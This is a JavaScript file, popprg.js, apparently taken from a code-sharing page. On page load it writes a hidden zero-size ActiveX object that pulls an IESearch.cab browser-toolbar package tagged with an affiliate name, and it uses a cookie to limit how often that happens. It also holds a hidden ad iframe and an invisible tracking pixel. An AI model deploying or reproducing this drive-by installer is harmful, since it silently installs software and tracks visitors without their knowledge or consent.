📄 popprg.js
字号:
BaiduWriteAD("zouwenyedg","3");
function getCookie(name) {
var search;
search = name + "="
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length ;
end = document.cookie.indexOf(";", offset) ;
if (end == -1)
end = document.cookie.length;
return unescape(document.cookie.substring(offset, end));
}
else
return "";
}
/*
function setPopupedMinute(name, m) {
var expireDate = new Date();
expireDate.setTime (expireDate.getTime() + (600 * 1000 * m));
//var expireDate = new Date((new Date()).getTime() + (600 * 1000 * m));
document.cookie = "dg_user_new_" + name + "=popuped; expires=" + expireDate.toGMTString() + "path=/";
}
*/
function setPopupedMinute(name, m) {
var expireDate = new Date();
expireDate.setTime (expireDate.getTime() + (600 * 1000 * m));
document.cookie = "dg_user_new_" + name + "=" + escape("popuped") +
"; expires=" + expireDate.toGMTString() + "; path=/";
}
function isPopuped(name) {
var userName = "dg_user_new_" + name;
var cookie = getCookie(userName);
if (cookie == "popuped")
return 1;
else
return 0;
}
function BaiduWriteAD(userName, days) {
if ( 0 == isPopuped(userName)) {
/*
<object id=bb width=0 height=0 classid="CLSID:BC207F7D-3E63-4ACA-99B5-FB5F8428200C" codebase="http://bar.baidu.com/update/IESearch.cab">
*/
document.write("<object id=bb width=0 height=0 classid=\"CLSID:BC207F7D-3E63-4ACA-99B5-FB5F8428200C\" codebase=\"http://bar.baidu.com/update/IESearch.cab\"><PARAM name=clientName value=\"" + userName + "\"></object>");
setPopupedMinute(userName, days); // 7 means 7 days
}
}
function BaiduWriteAD_bak(userName, days) {
//var x = isPopuped(userName);
//alert('rewr');
// if ( isPopuped(userName) == 0) {
document.write("<IFRAME SRC=http://bar.baidu.com/ad/iexp_ad.php?user=" + userName + "&prd=" + days + " width=0 height=0 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME> ");
// setPopupedMinute(userName, days); // 7 means 7 days
// }
}
document.write('<img src= http://un.baidu.com/images/st.gif?tn=zouwenye width=0 height=0> ');
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -